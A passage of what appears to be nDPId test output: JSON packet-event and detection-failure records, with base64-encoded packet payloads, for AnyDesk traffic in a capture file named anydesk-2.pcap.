HD8Rqhd41qY+0aiuD0BcrZj1NDoSXQzC1XcBwT416nHnhsEYuynpeAW3Cm\/l3nsY0o8Z\/qWqaGAZTcRqBqID5Aiu+Y0Ok8HuqbnAjiAXkdsOaQlgxdGhegKh84ulde\/wT3X+1GLV5ZmZjQyochhNbklUf9q\/Id1w86laPxHz1I79o9QQL+2JGPMn4KeSf951pI\/rVNBu6B+pT5vpLeAkL6v4qYq+uHzFuRZgq4faTQQhLK9HJSU0i6kpyvsffGOrpPre\/z9hpSiRgIusOtL4KdVEqedRagGBNm4i8TI4TRV6jOAIeKSJWyX7Dtr497ftwSWZDxEdc46wdk27QFv7gIb75Xvt2NZSQq8ZI4+Ge4N8hBbSB6H+wy8SHxiSnL9Dmz9Q2vFEmQJ3Em3VgmJZlS1bkdvZgbS+HzgTAlYxsvSRM7fauQgWS0RA4b0B5mGSoqLBTYupWLLxd\/N7F\/RNbU+4xaUx3IGjw0FQeJh0XuBYsLT+Nc3D4p0bibZ0TrAl7hufcvrzCRsQi2IrmJhYG9a53yt9\/KsjGiMbwTsjAtheF4UrZA5k4TTe3BBqQ+iWrIkRwCKONy0G+KMe2imeAU1cE8XO1vcTAzATnKV8QWIJxa13jb7fjF0lke\/Lu18Sv9KWFpaOTtq+c6LC7So0q9oUKg5EIBwd7F39NRXoKBI6mDCW+j8KSfzeiGbFIq63\/rmCbPJez5\/0eDxr+lbkeooA0e9L6zIx6hfNcJSbGg+hDCEOsBx3w7YR1924gPiiY9DtQN5\/QTDw4fY1CyNdTIQgCgD4bs6Ncbbb\/cDJy4ZbMucC2udnduzB1tuC2hv4TGLg4bRaXhgT8bWAmPHhhoHaTz3C6C8KG0Hc+ADAmYUfinRAh3du67S0FfZ1T667oxOz9zZGmanPmVtEmudMW5lNdxaASOT1ijCeMVF0hRPnLX1s0lx2WX9RzjAWpUueYjChWeo+\/0qYa1i3UQIe1kMa5Du7EtEau0zkhHtyIZG0cx3DacrFg7FGCjQeA4aDq9J4\/BA4WATknIV+sLDT3Zm9Jqvx\/2bTixv0VfYjXXB3syGXnzMrtOEw7wLcPLZnSt5EMbIPNcktjbhgLraiD9b+7\/ULv6SXvP\/2R4Hzu\/eAd4BWYJq8YVO+Czthyw0+GyQ74P6uy2iz+6mapq4csj9zQUQ4haSx5uH\/Zl52SFOs9bXyz5+qUsNqih7ZZhABOvCM3T3uMngJ1mO\/pZ46QvemWMwk7biqeO104rKsLCNeIMQA6CqrMfLtyzqSelKcIi01Mk5kTGv4v96IrKN6JaSOnQ\/Y5eW2NgUY6A\/TSaoae+u\/m\/4hz3NstHbgY3PHIB\/HL+0BqpdBemlTc1hG6dnjYOkMtkMFLfOPSePwo0OdSblgF2Mg91AlVyZeu46K3d1HdfOC2I1xeUsr87Edtt9JZtsNrUvMkR8MTHgjAGFnHx6fzmWZj2+rX7sINVycM+1gmKKh+wOWTOs2672KTcHMi9UHaHwhKBefk3qv6ZlUBrwnjLBlqt5MHa9LcoU4GC4zNYdGrvJ7fxhQRra4VJqf3GIlkkdaSeilrBbtGY+x\/alDNUMxO4AoXlDtOhcr81Epp10ZcANALIHPI9QRzM0SqiNuBKGTjH0+o4wEXJ9LC5na2m+8PDb\/KJA+lMhShdXkFbqJ3znlmP0mt+Q3wABHO6qHTLRv8fSxT8qStPmHvIkKA5yBSb40sJcNTZfRMlhcK1Koe\/drqEJF2Gibici2OGHUuXXgp5mcRsQVyenSM+WyfbH\/S9wmhTQtWfAVY15mHQ76GhnSNktYRplAxP+AjW5qEbvtPE11vIkZlLTwNVh7tmHXHpCI5rg9TDwRQK\/NLutcxabSfBfGj+cpzxLTXP7+4gikHtCWx3jYQZmKsT8o58+WG3dYELTfTKxyZNRzmrJhvz66FctnzGIqqCYilAFacnJLmFWgJ2LyU6zH7toCqHJoYtdYSA\/a+UE1d64GAfcg2pLNEml96up8dra0CkrFr2sOcd3kytKyxAuCXgB54xC2iopLJwLSULxORO0blI4M0tdz2NnbScmwLJvjhlgZ2gYbxcPqpBbYq0iYuo8gkPzzYhIKVqRAOtpk9IrPKWzGIG7vF6dmzPi0u6tn0ZNCLCBahTDwXebMcvEwNWcDCQY0GAbIRYzFp++YhbWqTpjea4gP6G\/ozeJ5uN+RurOQp4bhEo9Uq68Hi6KwZ66g3onlMng9GtcQ5EKIMxHsmfsZyFVHpWsZEPEVwaSmBWjloLhYHAwwhgvnCVCQ0ci6uo+EYQE\/PQHubjeAg21fn6\/P+obVvPqy+Zmz\/fEjRP8LHWPn9ZFpu\/6E1PIz+qFcT2GgjaXKiysbk7o9M6IkdYz9\/8SUZ8sr9ZagJr8ileQ7onXAJpxzC0Bt9dyMCiHQaxU5I61OHUrkxh749\/PJxRl+ZktlJETeED37TCRsigJCqSBtj80hjCD0TBoFhF\/6IsO0du3dwBw7jp27Fk3U88pvlxOGEREalTthM6zUiS5V91aRDcdFkjn6XyLYtmFqAOK5eBDsPzS3W8iCZq0wjm4HfNBdFwRHyGXkj9EKQv4JdgiJaOmc5hUkXKLyxVf1SmCd1pKNvlJ2FkeNfvmvskxr23Um+E2MK32jAqhcRjzxo2cFAVKtsFAs21HZ7m7d7ws+9uGF2LovmhL4Cs9Or\/jVeyvk04bxIJtIQ\/Rh5KlxJ2an48GBaUNh6qXPnYnYuHqgYLliQKW6eEjtCFd7YuBICmYdsQZRzb57RUptZiPQj8OIVapAHHSQBRU\/7RuZaOsIcrw7V9ciqFU799cMvEj\/P42mxtZIrvl5o8ZRVxP8vwQkfETZa1aum4SCfK5RCr5G41PrYc1S7+b9dp4a6iZ9kU\/pPCaadq3XUBubo8q69QqG7rc5m2LSeO\/Wx\/9GmshOM2Xz3naosMmcKO9NWa1g\/WZ0wFtojariNnlDIjUOlU3AyROZ\/k+3ggCmplKQqnicbMIYOnCsNVEZt203DUGBSFQ6ymtp9b2DNNBfNLD3IQCulffqtnwHMK8UDonJu7QxSNVnYJYWMC5J3CnChBDtF5ST9cC\/nZ53\/QxMJeGnVAxlDENkVwhyilZrZpmlyEqB1KdF0gT6xfA7mKJW\/dEJzMgXSEWD7NNz1\/szIIRQRar1ahCD5TkR0l4pvEtGaH47DC4g2Cg0h0tnD7Mg9HwvEAkq07PyMiL2yHSaVL5NMsZETsJN5RF2mkFASuaWQKwes1hOSGDFdeQ6hmGii8FxZjB5MMLE1JWsq\/6rdRp+frWL4N1qzIJtWyMKRniQrFA6f\/OFfh0d5Tb5h9pU5z4MhiNqJWjGFLCklrP7iToemO411AgqG4h2E2AJ4428xY7XTw5RNtpq57PAlJibiLJQ\/k63wED6mHuAesqjFY8g1j1+jWg+\/aJlz6xxxsZDiPoK\/3zyVEE2L05rA7f8JL5w0U++s70D+hRketSV4Iggrb9WkrQGers9Kl2TmQpRA7M+6OvU72K9fBRv6PDk+xSEssNccF5B7qL2ZETP45JWxEgzTr+qaNoxX4VFVRbltPecB2CV9WFdozAFQMHuruxApFElYXJONC0vi\/eyaBz1Suxrcr8fHX547ZM4Mc82xNarjFZ1zUObAGQlaMfH6Zce4U8Q6WOJSQ1fBTIJg+zaXcwUbIhdiFjs1J2tNz7uClxWkWyBuoLLBlaOrwDl9jC+uMwT31VsZC+QQi9HpqWhA2Jdmbe34VKJBWFPzMKAO4PhTm5YLdikKk9AGgapK7ZqNvygHHpn2OaA5wlRNr+xvZfEhpU0noUYFgsNFji\/qQaYjFKQWP07Svzoeg5dRbe4Yd8RWK1tM4CaGqACpQzFgkbM7oUCOWJpP6I0C0\/0userQypJyRTQES8wh1iL3eQwZHCh+xMULnR8IA+wikJwWmAH2yexTIM4R2vElTFmlVWyPPScXesDy7MiwCO9ksgUE6C60zKaHV5vz0VK3vq0uO5emSZ3CkS\/0vr8q2bwIOrT5NLEAIaipjZSgMVMZib2ZDHyrMXqeH0oyRnNgrLd0zVltWPkmuSDPtuObHoU329gw5Jfjz5vx7RVYeUA749ebypgEExZleAAdSzlDgTAL87m7q4\/5kMZ\/Cii4Qq1qZKCs1SOmlsr6xaEm\/ClheX3xZSc8307BuYL6bBYD9zxt35d6Y0fi0saJl2VlhFyA8oNB4oWMcPjfILgiwArw5"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1274,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3833} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1277,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":982061,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfahAAIAGAADAqAG7wKgBstOUG56PJRvxWcQvjVAYIBOExAAAFwMDFXlZ4hNO+msV5Xhfn5AceME8JbOcL9i+U57hikCk4XSKjzyVIlOU6f+reKguLtjoN9T9\/MvS+sgGteh8\/uybsvtgQvDNMvrPyeSspwfK1K1qsXtZcoY+Dm1+r7DPh+3hcolgue3Te2jVbHiuiWJBTk1i7\/203O\/9S\/2fhWNngTEeUQF6RkwRjuvIPPb49lSI1SP8v5H\/\/6yS1Ah+jaV6pEwpuz+WWJhOuUU89pYz7MNOfF6n3vBS061CrDQQeVA4nywDLh+KqPGV0MvMo3QhCcc\/vCl+gdP9pz31U2WW+3KiEQi2D\/2CT\/\/5aMZlWS6CQE9GIulrv15NL0cZgsr14r1MdhNO6uV5zvA9X8CCex3u20vx7D+NYYseWI10z4LyJvNy6Lm7apQcgjkkZX7u4tS62Upwir1Mv9HEg5MPWU0g\/tHsGgw4i2o5DHytG56Fb5O1XsHLT2CTDobvI7thbGytNfxCSr2Qem\/a9VieshHhV0XpszWqjlExT4hYfLvi+kxSJNybYIb0JBaIUnzRk5uQWLfalI7EVQW0jrNsNRZCmjnNN6VZ8AwnkzwxbH1SAuw5MrmIZ4FT90nB5SLj38WNzJegbQDnoE6S4wToFAdDgOWB8te9aKmcgQSD1FSc2\/LlOOEKOEocHtjdYCJvbFHQXmnnW0ye41oNU7echlpNp9HqYXM6kTptqStvDPddr7uT3QU0gemYXAwnsfRvwMYf8S022cTt7c37suNc1KzYFtNw20mN892767S0YIWSJpoYINEkkBPs0OaR2nMgCdsztfM4mxBb7DTlAvSD9O8twi91gF8E1AOsbfnZG13GpAy+OSlqkMZyFIRJZ5xpalWZNnYKVFqGIB7rVBHyT040V8OEsYwRfSCQrjF26UyVrAfFjS+vuI8t1ftbBSDQd2BY9o1s7ZSaeEY0Zcn5kIHWPlFQUSluOq3o9bLlMztGcNrAmd2k+LCgJy2d0rATbNKN0pWBVMU7lFMNAq2l6lxCt1S+T3FHUdwykSHWUoXXxwuIedd3LXttNsEAamvkRRprLg8EN9ioCxiXnK7eb4GNwuPxZrQmWwtQse5HnpN8C0I1i1m8NJTB+ZcFh4mmBAlO4UJEF9TnwYHF1X4L93LFAgIjpBNhmISsyX1C+zWBr3a5legkQHaCyoXQgnVB1FBCxLGFefGmUOF3ONZjDqrtHECgyVoj8RwsFFLjDb8GQ0FiZFB7xmwEqm5b0C9LqumAkavLtoSbK6KedbMFoQIij3M5zmzK1kUpz+8DR2ZTvWCB1jzhG2NaRLmSa9yBRHr5X7h84pEHbSDXK8uri+c7n2hn\/dXmcS96S7tCAzaBx4Mt+2L33BMvzK\/aVSJyBtB7rlbUza1BKcSHH50h1cGPliuzvkyJEnZ1Bb5s\/42u5+Nwm3\/+XBu80tfbSK5O1LK0VuD7dK\/KSGA6Kw9gYKD4ritkgGvhlFV1GhpqfJO9S49O6L2i4jdMTy28XV5VO5ZbkvMSVBvclQUOwchc0YO+l7RMXQYJSWYL2p\/lAKQ42iLLQBk71GTM2MyuaBRVTUPA+5oMeGUXpyODOHNOKTSEUheAqGkd06Gp6pRFXvF56qP98AzDNUUo1lCOPARLA+y1XrFpadGe5kX9\/SMUkdxi84jnfUAKcJ9EzXCCwSsQRDYHxVrrvG6nZQKAsI\/woibeIkK7F34fK6av3UG7iPIXpTaS5sOkV6ez5qY580YibPlugm+y2XqunK+UdA2ieK\/nWpFh2mBjm1AWRG7\/ka\/1JUYjejAhyjj9RtCRjgUFwyN8HMXaOmyXi1m69FeyquxytMqluHS7jOcuDHbrUCo+OCohoCCbeH4IsoCnLJqRqSLuhsTzWmtEzSsiR0HKtzZppw\/d4D04wE2UmZWWOaoLlqhtud9vUtXO11DXu32MvUgLPru+4sX+vwLrASbWd+mSKbMymwcMMjjJWo2zxlHX\/yVEFK\/UKRwuYuTD0E1lJDgHSjS\/MJ1e+LDYjSicp4xFXrLBlwLFocuwRXKj8z\/cwzv9KPhiND2JzZrRk0GrIugJsRgaormQmVIW4mDhoQnuuJ2g3Uw6d8E+qgOdf2rEB+jhnXCkWj+M8w\/RQwibZua\/nex9FhV8efx3cMyKXQcLCF3OEozKb52BhYvQq132rkbiLl\/nRLBKABR7Ip5rPrenIVKGX2IV4\/V0QNxSlnyHsvddcHQl8hAV3L5eBBvwpHvCcqyVyT+Y87Vf1rW5SEg5WE48BPgjlja0Gz+xjebn9EVUYd+BUSeeeuvQfSvegzvZnbUV8GA7mVufuC3dsAgi5S1umDZJ8TzB7zrozMzZW1OhsySSpFRaGyswATAcGulEPiNKB+iVzhfv\/Vm2LbjQ\/1XZEYAVDmFewI2Dh6ZsjELapzhmoCdtRhCX04VWQw4HmlU0IU64+70IxI2J9BfCVYEg\/KO\/eQL+r1acAGkNSpzHEdp+8MvuKEsHLs+trFchUEoVkII8QR3cllNc0yxfm8tPCSIbvRmZq65Qvk7i\/R\/a7BgG+YhBAsuuk2hVcQK1x3RuUPWCY7QEaNPmI5ASlbXTCSG4XV2ch9Ef+ytwIJne0Y1Y7ahL7nTtRAOFy3cJ5h5pz0mrVqiCRsqcA218qqRdQ6FBUwih3yBh9BZ7NgdnXheke9mMgZ\/M+ZZKB\/6yEcupUHoRa0xeqcf6oibULPYp8dYwmxUcLGd4IPlcax0eF8HllWYRP437Rk6RgOjR1Iitx3qWXMjE4+t\/qJZ4FtcL5sxI8y1PHqHCKyWE3ABssQDBD0BfF6i3yHCDa6cvzSMiKWH+gpai14q95TUDFbrXQn4HDYrS7t2ShIDNmt4E64CAWAKXXhJYZMQziw4MdtIskVsj9N32LYYDnmqsqRdtbsVm42fJ2DVBM7sL6l0hYaC6K2hqBoEhNWTlblK7fe0dUA7f4UCDBnlkXbUf5jC2Ckl54DkxVsRvYsRxMfL2XvL4Dxy3FHQlH0i9iGhzCUgvs8k2OSUg3DbNhN5FyHlBumI8loqXBs2R6vXlCUE3NyHUahQ6k9o3BFoNLgniQlCaGd68T1hjPEh98MVvNW6yWW5AwdAxkOMV1Syap7tRHFnUP8SbBo8b1K8Zf5xV7AnyCs9aJKtkM4Y+Jvr4T7p5upOIPU1q3MoueYM4ROZNy0i5Rd2zKbAhki1QTU3ZnzEWUpuZAbjiSaUxy\/s5Z1pbZDNYMOFbCfTexGmLxu\/7CFJel6w8z7DSpMr1CffalrBIrmUUA+Cc5OX9mFnSrmpa4GbhRGbQZQnKNV7LAQUbniBmKiv6gQw1M3AeY6+z6rm6gihDXdLQdt4WB5qazVtMOEZgQqrEXPbBNW9WkU1KE13noSmJIHJydtv2Rv6eTwS96yDNh+5\/RR4Mcbd12J\/ZH\/l\/2KSWPT5SB7CSC+2yg\/Vxn6bp2FcdykzZT9kJtIX+1soKD759cx8\/yV3m0gLm+9A4jellzxSuzbTSdn4nFU55PqO98dgpDuajk6iqEVapH273mwatGzp1WeOFWWlilmNNQxFyKkHwqKzOqJH6oXq2caRCXpEGK2jzr6MlQ5G5G6lXYKSpihucLtrvfw7Q3KUOx6sLs2SyncsIvZMhLbghv+lDpJQSnB0\/hsUqHXMOEJzTmZK3+L5Txu\/9p1EOKRkZKMmgvN24bhdiv67kx\/jERI6ikGYuaSG39W+FXAOkquaOym+G3S7eF8VDSOyhEQUz2YuisGOv5c6uIZ\/hxW\/ayGBvoXKNYg3ni+Sy9jAT9kq9hG4dX1LzhSaMDdADrsZVH8\/FUB96dFkP1xwa6HG7rdd65uMrYUU94b7todBoAzFKTqdnp73voCmA4f6mokNOZTX6NuknKhVIdfA75mJBKSoCRG7+8rZGcC9olveWF2Wm74U2JViWSKXTNsqhByuWAiSWguKBhy5IZYz9nt50iWd0FdNAi9bxqyU4esJkGPE3UousuxDkQY1yPSMxVg4TRFoGMaSivcGJ\/xQMw\/a6J2VqC+8DQrKVtTiPkLi1mQqaMF0fAZIATnd7N3BdXXfRxORcSj6d9cRNRdd4Emv3uCtKNtERNSZ1+\/gxJv4s5bgLBS2\/VcfXa5HYakn6xau8nxBgQxx9\/CIBAfuOo7I91DUgo5AImOc0jc9dqMVySHDQKepglPrn\/zpjPjRAeU7rdY7Spbqi395JyjiG\/gWZVS3j4+3qBNiaRx84Xc2VjaN2RuLkuHcxxAGeIdnTjDWWHFEpIJTQm0J1KNh70rPCMMYWYHgMqa1eyq1UyKN8u9hVu6QhEVNMT0P137RXth2aqIGL46TNIPBGFgjZa3uo4qxixJNkLCPmQJ7VCg5kzyU+6SKM7uBzqJdv7HPxreTWGtsisvqoQncUkUSe8Cs1gVIx4qKc\/X8o\/MSKZNJkseZH0GZGVJ8w7yoV2HJ8SlB1v0Efk5ik\/XQX2VCjt0+0L0ssCU6cLgSCcVAearqPayDP3cJyd9Raz97jdbiAogePSGeSbOTzbOo3nnEHQREkMd2iPXacoOad4avrMKfjo\/VOZj6BbLfAGVS13pfzySsXC2RfJj4JjL4Km41Kh1O5Xw+NNY163LJPF9SP0xIgsONlv4MP2F72EFBlWtiNFUojZYAhlLN\/xd0TsfUydluWQM0oYBtDo2aq0algir5tX0\/gCQ9VUo0gx2QdShS4iRkPUZ09iBLp+a0DkL+6zhipXGSADKlSn4EXDWc1XvHuN37CXZBDW0IZXET4hwdtT18+bCgvG76P\/lqb0mF4QjcDQPv9JdTyoPB+mrkGpvMTiZdytojs8Q0ggv8kZBO0BQtvhNTumPShLlIb+WkdnQbg4CFf+Wbou56ZUpRosRFdtzML8C\/lL0bP6\/Ge6AKmjfE9\/eOkw2TYOFW\/gPs4Ul7B03WM4r+ZCCyX+THBI+y1vZ2h+TAmcDD\/p3H8orTW2hQ1FsynFYTbRU78aey5VgriQmAeBb9AP4Nakxqlzeffbj\/5RRHzQawIWGedB2XCU5MLSitUZxWuwtMDoo6OyPB56G9y8F5wsCxP5Oj68jKrxAyhMrjD6S3zo\/vVAWqtktsyrcR+xE5LJBej2cp\/sHmaaReOIx9bmSVXu2bqLlnMN6juSTacjWA8j6yxcGEMA2ByxT5sjsqkfp9AheSQs1xBhAGQRIdvrpH+NTmEHUCydEIxX9wkVWpcFJxEgCdDmFEUxsvTGMkTvtPOuLJCiT7sGYvzHFPPKYvu\/+pjLWEsdgVBW9K8r76+LbgZPyMGTLg8rfq9FpkJgff3QlZnZJG6jyr9jELTy0eVnLQmS9Ydau9iAAcxfJz6DwZp6k6r5USd9aKIG\/YA6ezMhv7Us+H\/nHooyPpF0J8\/YlMa\/Cixj\/voddbSK1wXIUhfc6p9Qx6kPlxPFt12rDmh2QBfeBoMebn4\/Ak1Pe5\/OD5oDT997yrYP6EveqGT3A2pOeb8I\/hWJYF\/LiNVnGHv2j0iMdUcYKKkrWjHpcdEMgB+b112byOxP4kvEXo9fF6KZElcR2Pc6suuwYmksdZeKAcwNW+MpRuq9CoD9SZpdVlus27iAAfC7bq8TDVQv6Nk+yxfrw4B91KXlqlTtvi5pnQ5ZbAwSviftmKNffw8XvuopRquA3lqfIpbgVwJU09MCJw00kGVYtGydLsTKFcQLc8CE4RMb7mH7GXE27rmbVKCQDKXvleag0BjtvxBFt\/rj385vndaMpuY6ahIWdgtqo9ngwUPsYlSw5yPfyG96qycEqUfoZlp4s\/ACwXlHgOrEjU430fWT4eHWf8A5VP6zkuzwwaWrq1Gc0Jw4LfofosKfXWybG\/D0cHEGZzBqMFJrrqmGTqSxX3lRdbeojgzgm32\/09QQRncgr+V1pQXaJjiL6tjt\/wVNmu6DeoerGRxVbbo53hObFdO1qmHh2JI9ppJcaoVNZ2QtW3fOLlzqlbwnoh0NPQEvpm98PvFU0YPQ3\/cfqDzyB0USO8TAa+8yxXw6n0fB0Q\/qrB4pXqLBXOoVDoV5duny\/Bzd+FodGlYWvIWinEqnavAAvY4L0bb9hXQ0Rpem02I5FXasDFLt9BHwC0I0YQYOaseKR5zSlBoYs85A1M9rQ6dAsakmFmAlfGOjq659l7OzZCwNYvI\/EZOnYonFNFXsrTQ\/\/sgA3qVTAKZSBPUdD6f2GzrH3in73vMfTZV+xm5zaCD4Na5ftmnH+NwAbUxKja9WSj4+XEvvku\/6nq78H8bZRMHc1p3uJ8xdbwYk9XjPBr3e7r1ksFj2EPcUU2eccGwWLGLypwUjrT6rdeOuTceTiLxSKh0WB3MBgwuZE1QA6g1PTB5YiCUasPhY2Iw8rx7pVHU2zsDVha\/Rk8n6fKq9q94NCa0IguRN0jAUieaeoDTAxloupBlgCycEd69E4KQLQZUfcrqPSCF52s\/JWT1XMPFDxAyrOgWPz611lBFCin5wuPLL75YPbhn4qMfYGNBTlXWy8VkHu+jB7EuqN5XB3BZY47u9LIzwo8O\/qY13WJu9lGlPCUk2KKey6W7slPORXCaNTfm6zk5Cnl6jD0wdunv+\/1EsJX9zW8lkh0rI1JQdIXU0Emb3kd\/s6RjA8w8rJXygRsyVKUW9b9SWfMWVff8qYppnfYM1WxIP2AmpgCyZJVEYMNPWH2B69FjsCy+Ofbn86wYDp+gsEPYLj0h51SCTKHfDjsX89YDTw2nAumF+JzriI3NFSC93oEardt\/IGolFpQc63zWeYBu0j5M1gNg0oXCqaNt1XAZCYldXyjdvV+tuIYXhbZC5whhBiWLb0GrS7wjG9RTPou6rIMss9HFZq1WG1HafLZCJGwLI6zRLDmV1CU9HPh4SrBc3QGL0wrgAcSUo0OMhHel95Ndl6tXU8ISuHZmZqYHynHhUjkhSRy\/+Dub\/KVV+HPvLYVKvrAFTojUzjvCL1qEnviHPsZfQPEyNNw9KA1OKUO4lnv3XZXGg\/LKAgz07QcaGDwOvJx3rt5AS5z6QqiGhO0rq1\/Qz5mYzmmSAypq0JDZ3lSAtVIGqtwPlKOywsijSeu\/otf+szQJ9ihTR61EqTqjJKJBltBpzlXkwdkOO\/1DMBG4vg16NK2RfKpl9DKr1v7dbDjmo36hN9vpHdicHF5\/EShpoHqVV7XaazBW5D5iHneTQSazcyYiRLfcRaiMfEjbMdXuJXtgEYNJrqi+fm9Kopu2TaC170H4MEotFZH2a7nev1+czG6bP6WKE5NZG1Si8dUVsaTXkPV3z7wtidp\/GANSZQSROkJv8mzvjE3+nZzYTWE3gX7EykKucfw3m3\/Dml4EZkePXBBoItC2Q7T4mu\/D0Nk+ZG7qHP5V9rHd"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1277,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +05076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1278,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":982093,"pkt_caplen":3524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3524,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfaxAAIAGAADAqAG7wKgBstOUG56PJTFvWcQvjVAYIBOExAAAFwMDDYlZ4hNO+msV5ojjEwHQQQaP7GCai99cjM7LNkFzZqJCvmZelfpediKQeIxR5BSxemZsJuDjjfo8KFUzucyljRKC6XjzImkt9Nr6k3tGb5RWztBNgGgoPaj7QqimHU7dxF8uSUJMj10f87HOtexmwrNSMMcOfUca74dJPu2+1qi64TGlyH90GvwbAeFUk8KkHF7SzIScMY9nAsPxSUM\/jutufRFTRmPK8HnvAEy3+DyF5txxSDSAHV7HWSkTb9J6TF8duPEZ6ThkUqNe\/XVvQHw1S28iGXmCk1WKloE1UNCyUq65RMPlIxtizVUeOjDNulycPnXmUmpMx91+i8\/fLa+vfQ7wbP7ozYHyxY\/Xf85ZrLk\/u2xd7NqHS15cTJNcySLRse5vdPx13sukelWUnsYmDmge9Y7HwHqDYfMk2CAyTj5dNiv1Lj3SaSyja2+3sv\/ElqkVSMO0Y5NKX20hSPTTeAUUuAF9dvX8jKXgGyMyhUC\/uzLPuuHUAxBWmHToDlhSkr8iwFfCIKfDII\/eBo6Twr+JC2DNCoirfBxwfINLI+HvEOlSUTbyWtNWP9cfAREt50MqMCUDmF6zfbWP6xf\/yxGnCW5YnPi9PadVrU1EdgAa1RPtR\/29r6AaKjKGUVJgo8INnXCM4Bd9e3DVZAlZiyAhqqULJYnu2LuVr8ChlKY\/oLtzjUBOjifwn5rHsqGvOda5FL9slWEi7ZV6T\/lSmOMsS+r3cAtYUfV\/wrK60TKwU7x3lDtlIiZ7Fyv6I44sjrJKjZVF2dMTnR6N6RtGSgb2Hr6jed9uqyMzVR+n1Ro12au7RHsChQ45WlTejU+De4iwL6X8kIlFB8jJCUn57278+GevE6lSP4uFjaGMaS+CgQg+BDeQ1nwdO4Gpc92Ja5RfdXIfNn1iscUdV3nFgaPNrulj82+7PTp6ZklYAs02ktnlm5lfody1GVT4DLnsa9NUYmjxNf2d3\/R4hJzz1cGSCg5PeUZwsg3qpwVZMkzCTHLSGk+xvpBXQJbF5xJRsJ4HQEu89gEeQNSLWHDFFT7dsgA8jdRt7AfrWcH6pWKgLTpvFHFxH8UVD+PQpKovreIy\/EJ0CzqExUTVa\/Pm8MwsD2AA0R6eEkaxqO8ItU0Uizu1rn+\/KIB+ALjE9DscK3lpsImsykPQM9OZpvmJDTrZG2avYHJnCktXAB+1A\/5yosQTqWEBaPbmrRQzW+E7Ngng8W3FYWTNyLaTlE0Y1MNljThyluLGv4BUSW7pHDg8IZCypTQjfKHHtk50eQcZjkq\/nS5tRk9DHR8I9EaByK7+Qgd7nPztwUunnYHx7dFxaEfPhiEOtuFhAj1JboYCuCzZjmVVZkzrCDdX9P+1TPvtpW0ivpadeOEb\/PCYhxC90MRLVAhRcMFH9nt88uc82bbFfc5Vci1ryrr4sspnXfN1ssX9+lR08QSgsBGoiWjh9j3HF8\/N5LHj0ag6SWb2No9W0aH0JJtFaXTircSKXyf1cm\/9BbJmhOD0BqOcAaU8dJ02PYB895l4ueaFF7R3EBLq\/hlSQjPZRFRQO4wZm20YlPKSdmGGSVM2nsFN7n0l3pCvQmKtYlPF2pk1QEngiK\/\/xKQAHZysdIVWDMC1UWsfjARC3LzXqqvrB0Bt4cRj1DUNq0dK12P318ymhe05vyQfLvRXXXPl2akxFzqzjSZYR+VrwekTuuTeSKprOTIlH9mtj+AlrgyA7rFCqz+jT5FNrgEQHfbKvexgDGvg+Z62DDCxBp0XuDk036ijfYOyXeBZ3UaEK7nxZYLTRiNq3XlrcnyKLcKVy8DXcg9Gx+fIaRdEDqB+N\/U5wqUqHFbwyL\/bOOAIkEAZnBa7C1I511RgG0VHwR0wIEkJTMKw5Oe3DN7Gw+cE1TG2YqKnHENRo+Mop2lOhLKDepnyAJ7I9pQ45+RyRNTQqEg\/z+tPiYKNGiA19OnOdTnrQB\/vh2qNNpkF+9RYe3xuYkNDG1dnCCAQk02nMLHqMi4g5zJAJ4x69QySp2HatLGRZHBEV6amOLDILojNcB5FKUH9YT+2Cby1qirjCx0OjQRGTOyd+O6oFyuWuFMbBuFzYwiktZFOWrv+UR5f08CaoYisCL\/nPAewC3h1UcairQ3dOBUEEbmImmP57qbxFJJlvw7LADiyrIFkoc6sZeeMrXxHxknCAUE4VivTOxfBqKckqwcA98ttOky03d6KJjO804\/lzzW\/U7NgKSavrj1q27xaogulS6oh+5lvNRjAZI03q42epBJ3q8fA\/Q47CdL8IKDJfLVFv3rU2a86wKVEwtWjjOtU2YoAxN\/PLL4s177F3x0ZmFO\/tnSGcdVIN30\/T6FWKtr6JJHUFNrPfUCstt+xakm7HYh3JmUj1BADKmTeZL4vqzpD+Vz7xWsJIbYml75iGYZkbwH9ZsdEeF4LMZY7kzdPkMfKLzYCBhmFH96Wg2WHWU56tFHGRBXi+tr\/8yNJ9kpgOT8MSu58Wo+VYXmTsdOIQA1WoxgtBueKvlEWLet6UaUSznm0CU+9trRQAU0+zcbV+QSAAMaXnKEzpkl9OW6H0ykjZ+4KCwV3omhmk02\/cNkNa+62xPryL9Noi1x4p2aGn9p1YQlOCEczdJielTWuaPSQBU7nAgVwSe5aazWc23XV77DDmaw+1A8xKKSjvDyh2Zvv7ITI3oEU9aFoTvMHsT5ATrm\/L0g9+Vx\/aQQMYwdG+084YmsO0OHjWpLsm\/CY31bYDOqzkbtIt3xgCDZOPD73TDUnXNnybbABmmgWBlRIgJpp+0J3v5O20ZqN1b9IUUDX\/o7SJ0sv2u8maqawZtMbSAVZuYSW5hkByZGs\/luk7L59dCKQ+nXFnSXY0mi4xpI7SVhTlzLqCAgAe7j8HX54ymYJ5LSehqWhaz5oc5C5uN2oWDRk\/xMW2eJ04eTg5c1HIColSrwojWqd1+UxLpqxA1u58\/qX7XnaJwNoKwnTNJ56PRfksUi1RGlTmABay62aHQtYXfcRgQ\/ZhYNeX+y6RN9szW938zsVa68K7GOtGkfdMRiqKxPGr4G4HAYacHinh5fI5i71Id6qK4UTpyETDYF+2lumj16gi2gt8sDzERV8DLrjbXyB+RCi4GbFmtPDS2pWD7VUAJ1mttVL+Sd3fJ57o+Db2LfNn2bsI74ELk37MugmYz2gtTCA7Sic7UG1e2snYbrS2Y+HidAejl1VBFS0iU6zMQ6NlPOCk1atzFNb10ieRAKCKCyZjVYM3b31Z6wl624UqqynEiJ3r